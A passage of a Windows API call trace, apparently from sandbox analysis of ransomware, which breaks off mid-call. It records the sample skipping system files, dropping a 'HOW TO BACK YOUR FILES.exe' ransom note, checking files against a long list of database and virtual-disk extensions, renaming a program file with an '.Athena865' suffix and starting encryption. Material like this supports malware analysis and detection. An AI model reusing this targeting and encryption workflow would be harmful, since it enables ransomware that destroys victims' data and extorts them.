[0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="bootmgr") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="temp") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="pagefile.sys") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="boot") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="ids.txt") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="ntuser.dat") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="perflogs") returned 1 [0047.256] lstrcmpiW (lpString1="Visualizations", lpString2="MSBuild") returned 1 [0047.256] lstrlenW (lpString="Visualizations") returned 14 [0047.256] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Visualizations" | out: lpString1="Visualizations") returned="Visualizations" [0047.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309e0 [0047.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501ea8 [0047.256] lstrcatW (in: lpString1="Visualizations", lpString2="\\" | out: lpString1="Visualizations\\") returned="Visualizations\\" [0047.256] lstrcatW (in: lpString1="Visualizations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Visualizations\\HOW TO BACK YOUR FILES.exe") returned="Visualizations\\HOW TO BACK YOUR FILES.exe" [0047.256] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\visualizations\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.258] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ee51dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ee51dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="windows") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="bootmgr") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="temp") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="pagefile.sys") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="boot") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="ids.txt") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="ntuser.dat") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="perflogs") returned 1 [0047.258] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="MSBuild") returned 1 [0047.259] lstrlenW (lpString="wmlaunch.exe") returned 12 [0047.259] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmlaunch.exe" | out: lpString1="wmlaunch.exe") returned="wmlaunch.exe" [0047.259] lstrlenW (lpString="wmlaunch.exe") returned 12 [0047.259] lstrlenW (lpString="Athena865") returned 9 [0047.259] lstrcmpiW (lpString1="aunch.exe", lpString2="Athena865") returned 1 [0047.259] lstrlenW (lpString=".dll") returned 4 [0047.259] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".dll") returned 1 [0047.259] lstrlenW (lpString=".lnk") returned 4 [0047.259] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".lnk") returned 1 [0047.259] lstrlenW (lpString=".ini") returned 4 [0047.259] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".ini") returned 1 [0047.259] lstrlenW (lpString=".sys") returned 4 [0047.259] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".sys") returned 1 [0047.259] lstrlenW (lpString="wmlaunch.exe") returned 12 [0047.259] lstrlenW (lpString="bak") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0047.259] lstrlenW (lpString="ba_") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0047.259] lstrlenW (lpString="dbb") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0047.259] lstrlenW (lpString="vmdk") returned 4 [0047.259] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0047.259] lstrlenW (lpString="rar") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0047.259] lstrlenW (lpString="zip") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0047.259] lstrlenW (lpString="tgz") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0047.259] lstrlenW (lpString="vbox") returned 4 [0047.259] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0047.259] lstrlenW (lpString="vdi") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0047.259] lstrlenW (lpString="vhd") returned 3 [0047.259] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0047.259] lstrlenW (lpString="vhdx") returned 4 [0047.259] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0047.260] lstrlenW (lpString="avhd") returned 4 [0047.260] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0047.260] lstrlenW (lpString="db") returned 2 [0047.260] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0047.260] lstrlenW (lpString="db2") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0047.260] lstrlenW (lpString="db3") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0047.260] lstrlenW (lpString="dbf") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0047.260] lstrlenW (lpString="mdf") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0047.260] lstrlenW (lpString="mdb") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0047.260] lstrlenW (lpString="sql") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0047.260] lstrlenW (lpString="sqlite") returned 6 [0047.260] lstrcmpiW (lpString1="ch.exe", lpString2="sqlite") returned -1 [0047.260] lstrlenW (lpString="sqlite3") returned 7 [0047.260] lstrcmpiW (lpString1="nch.exe", lpString2="sqlite3") returned -1 [0047.260] lstrlenW (lpString="sqlitedb") returned 8 [0047.260] lstrcmpiW (lpString1="unch.exe", lpString2="sqlitedb") returned 1 [0047.260] lstrlenW (lpString="xml") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0047.260] lstrlenW (lpString="$er") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0047.260] lstrlenW (lpString="4dd") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0047.260] lstrlenW (lpString="4dl") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0047.260] lstrlenW (lpString="^^^") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0047.260] lstrlenW (lpString="abs") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0047.260] lstrlenW (lpString="abx") returned 3 [0047.260] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0047.260] lstrlenW (lpString="accdb") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accdb") returned 1 [0047.261] lstrlenW (lpString="accdc") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accdc") returned 1 [0047.261] lstrlenW (lpString="accde") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accde") returned 1 [0047.261] lstrlenW (lpString="accdr") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accdr") returned 1 [0047.261] lstrlenW (lpString="accdt") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accdt") returned 1 [0047.261] lstrlenW (lpString="accdw") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accdw") returned 1 [0047.261] lstrlenW (lpString="accft") returned 5 [0047.261] lstrcmpiW (lpString1="h.exe", lpString2="accft") returned 1 [0047.261] lstrlenW (lpString="adb") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.261] lstrlenW (lpString="adb") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.261] lstrlenW (lpString="ade") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0047.261] lstrlenW (lpString="adf") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0047.261] lstrlenW (lpString="adn") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0047.261] lstrlenW (lpString="adp") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0047.261] lstrlenW (lpString="alf") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0047.261] lstrlenW (lpString="ask") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0047.261] lstrlenW (lpString="btr") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0047.261] lstrlenW (lpString="cat") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0047.261] lstrlenW (lpString="cdb") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0047.261] lstrlenW (lpString="ckp") returned 3 [0047.261] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0047.262] lstrlenW (lpString="cma") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0047.262] lstrlenW (lpString="cpd") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0047.262] lstrlenW (lpString="dacpac") returned 6 [0047.262] lstrcmpiW (lpString1="ch.exe", lpString2="dacpac") returned -1 [0047.262] lstrlenW (lpString="dad") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0047.262] lstrlenW (lpString="dadiagrams") returned 10 [0047.262] lstrcmpiW (lpString1="launch.exe", lpString2="dadiagrams") returned 1 [0047.262] lstrlenW (lpString="daschema") returned 8 [0047.262] lstrcmpiW (lpString1="unch.exe", lpString2="daschema") returned 1 [0047.262] lstrlenW (lpString="db-journal") returned 10 [0047.262] lstrcmpiW (lpString1="launch.exe", lpString2="db-journal") returned 1 [0047.262] lstrlenW (lpString="db-shm") returned 6 [0047.262] lstrcmpiW (lpString1="ch.exe", lpString2="db-shm") returned -1 [0047.262] lstrlenW (lpString="db-wal") returned 6 [0047.262] lstrcmpiW (lpString1="ch.exe", lpString2="db-wal") returned -1 [0047.262] lstrlenW (lpString="dbc") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0047.262] lstrlenW (lpString="dbs") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0047.262] lstrlenW (lpString="dbt") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0047.262] lstrlenW (lpString="dbv") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0047.262] lstrlenW (lpString="dbx") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0047.262] lstrlenW (lpString="dcb") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0047.262] lstrlenW (lpString="dct") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0047.262] lstrlenW (lpString="dcx") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0047.262] lstrlenW (lpString="ddl") returned 3 [0047.262] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0047.263] lstrlenW (lpString="dlis") returned 4 [0047.263] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0047.263] lstrlenW (lpString="dp1") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0047.263] lstrlenW (lpString="dqy") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0047.263] lstrlenW (lpString="dsk") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0047.263] lstrlenW (lpString="dsn") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0047.263] lstrlenW (lpString="dtsx") returned 4 [0047.263] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0047.263] lstrlenW (lpString="dxl") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0047.263] lstrlenW (lpString="eco") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0047.263] lstrlenW (lpString="ecx") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0047.263] lstrlenW (lpString="edb") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0047.263] lstrlenW (lpString="epim") returned 4 [0047.263] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0047.263] lstrlenW (lpString="fcd") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0047.263] lstrlenW (lpString="fdb") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0047.263] lstrlenW (lpString="fic") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0047.263] lstrlenW (lpString="flexolibrary") returned 12 [0047.263] lstrlenW (lpString="fm5") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0047.263] lstrlenW (lpString="fmp") returned 3 [0047.263] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0047.263] lstrlenW (lpString="fmp12") returned 5 [0047.263] lstrcmpiW (lpString1="h.exe", lpString2="fmp12") returned 1 [0047.263] lstrlenW (lpString="fmpsl") returned 5 [0047.263] lstrcmpiW (lpString1="h.exe", lpString2="fmpsl") returned 1 [0047.264] lstrlenW (lpString="fol") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0047.264] lstrlenW (lpString="fp3") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0047.264] lstrlenW (lpString="fp4") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0047.264] lstrlenW (lpString="fp5") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0047.264] lstrlenW (lpString="fp7") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0047.264] lstrlenW (lpString="fpt") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0047.264] lstrlenW (lpString="frm") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0047.264] lstrlenW (lpString="gdb") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0047.264] lstrlenW (lpString="gdb") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0047.264] lstrlenW (lpString="grdb") returned 4 [0047.264] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0047.264] lstrlenW (lpString="gwi") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0047.264] lstrlenW (lpString="hdb") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0047.264] lstrlenW (lpString="his") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0047.264] lstrlenW (lpString="ib") returned 2 [0047.264] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0047.264] lstrlenW (lpString="idb") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0047.264] lstrlenW (lpString="ihx") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0047.264] lstrlenW (lpString="itdb") returned 4 [0047.264] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0047.264] lstrlenW (lpString="itw") returned 3 [0047.264] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0047.265] lstrlenW (lpString="jet") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0047.265] lstrlenW (lpString="jtx") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0047.265] lstrlenW (lpString="kdb") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0047.265] lstrlenW (lpString="kexi") returned 4 [0047.265] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0047.265] lstrlenW (lpString="kexic") returned 5 [0047.265] lstrcmpiW (lpString1="h.exe", lpString2="kexic") returned -1 [0047.265] lstrlenW (lpString="kexis") returned 5 [0047.265] lstrcmpiW (lpString1="h.exe", lpString2="kexis") returned -1 [0047.265] lstrlenW (lpString="lgc") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0047.265] lstrlenW (lpString="lwx") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0047.265] lstrlenW (lpString="maf") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0047.265] lstrlenW (lpString="maq") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0047.265] lstrlenW (lpString="mar") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0047.265] lstrlenW (lpString="marshal") returned 7 [0047.265] lstrcmpiW (lpString1="nch.exe", lpString2="marshal") returned 1 [0047.265] lstrlenW (lpString="mas") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0047.265] lstrlenW (lpString="mav") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0047.265] lstrlenW (lpString="maw") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0047.265] lstrlenW (lpString="mdbhtml") returned 7 [0047.265] lstrcmpiW (lpString1="nch.exe", lpString2="mdbhtml") returned 1 [0047.265] lstrlenW (lpString="mdn") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0047.265] lstrlenW (lpString="mdt") returned 3 [0047.265] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0047.266] lstrlenW (lpString="mfd") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0047.266] lstrlenW (lpString="mpd") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0047.266] lstrlenW (lpString="mrg") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0047.266] lstrlenW (lpString="mud") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0047.266] lstrlenW (lpString="mwb") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0047.266] lstrlenW (lpString="myd") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0047.266] lstrlenW (lpString="ndf") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0047.266] lstrlenW (lpString="nnt") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0047.266] lstrlenW (lpString="nrmlib") returned 6 [0047.266] lstrcmpiW (lpString1="ch.exe", lpString2="nrmlib") returned -1 [0047.266] lstrlenW (lpString="ns2") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0047.266] lstrlenW (lpString="ns3") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0047.266] lstrlenW (lpString="ns4") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0047.266] lstrlenW (lpString="nsf") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0047.266] lstrlenW (lpString="nv") returned 2 [0047.266] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0047.266] lstrlenW (lpString="nv2") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0047.266] lstrlenW (lpString="nwdb") returned 4 [0047.266] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0047.266] lstrlenW (lpString="nyf") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0047.266] lstrlenW (lpString="odb") returned 3 [0047.266] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0047.266] lstrlenW (lpString="odb") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0047.267] lstrlenW (lpString="oqy") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0047.267] lstrlenW (lpString="ora") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0047.267] lstrlenW (lpString="orx") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0047.267] lstrlenW (lpString="owc") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0047.267] lstrlenW (lpString="p96") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0047.267] lstrlenW (lpString="p97") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0047.267] lstrlenW (lpString="pan") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0047.267] lstrlenW (lpString="pdb") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0047.267] lstrlenW (lpString="pdm") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0047.267] lstrlenW (lpString="pnz") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0047.267] lstrlenW (lpString="qry") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0047.267] lstrlenW (lpString="qvd") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0047.267] lstrlenW (lpString="rbf") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0047.267] lstrlenW (lpString="rctd") returned 4 [0047.267] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0047.267] lstrlenW (lpString="rod") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0047.267] lstrlenW (lpString="rodx") returned 4 [0047.267] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0047.267] lstrlenW (lpString="rpd") returned 3 [0047.267] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0047.267] lstrlenW (lpString="rsd") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0047.268] lstrlenW (lpString="sas7bdat") returned 8 [0047.268] lstrcmpiW (lpString1="unch.exe", lpString2="sas7bdat") returned 1 [0047.268] lstrlenW (lpString="sbf") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0047.268] lstrlenW (lpString="scx") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0047.268] lstrlenW (lpString="sdb") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0047.268] lstrlenW (lpString="sdc") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0047.268] lstrlenW (lpString="sdf") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0047.268] lstrlenW (lpString="sis") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0047.268] lstrlenW (lpString="spq") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0047.268] lstrlenW (lpString="te") returned 2 [0047.268] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0047.268] lstrlenW (lpString="teacher") returned 7 [0047.268] lstrcmpiW (lpString1="nch.exe", lpString2="teacher") returned -1 [0047.268] lstrlenW (lpString="tmd") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0047.268] lstrlenW (lpString="tps") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0047.268] lstrlenW (lpString="trc") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0047.268] lstrlenW (lpString="trc") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0047.268] lstrlenW (lpString="trm") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0047.268] lstrlenW (lpString="udb") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0047.268] lstrlenW (lpString="udl") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0047.268] lstrlenW (lpString="usr") returned 3 [0047.268] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0047.269] lstrlenW (lpString="v12") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0047.269] lstrlenW (lpString="vis") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0047.269] lstrlenW (lpString="vpd") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0047.269] lstrlenW (lpString="vvv") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0047.269] lstrlenW (lpString="wdb") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0047.269] lstrlenW (lpString="wmdb") returned 4 [0047.269] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0047.269] lstrlenW (lpString="wrk") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0047.269] lstrlenW (lpString="xdb") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0047.269] lstrlenW (lpString="xld") returned 3 [0047.269] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0047.269] lstrlenW (lpString="xmlff") returned 5 [0047.269] lstrcmpiW (lpString1="h.exe", lpString2="xmlff") returned -1 [0047.269] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe.Athena865") returned 66 [0047.269] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe.athena865"), dwFlags=0x1) returned 1 [0047.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.270] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=228352) returned 1 [0047.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.270] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.271] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.271] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.271] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, 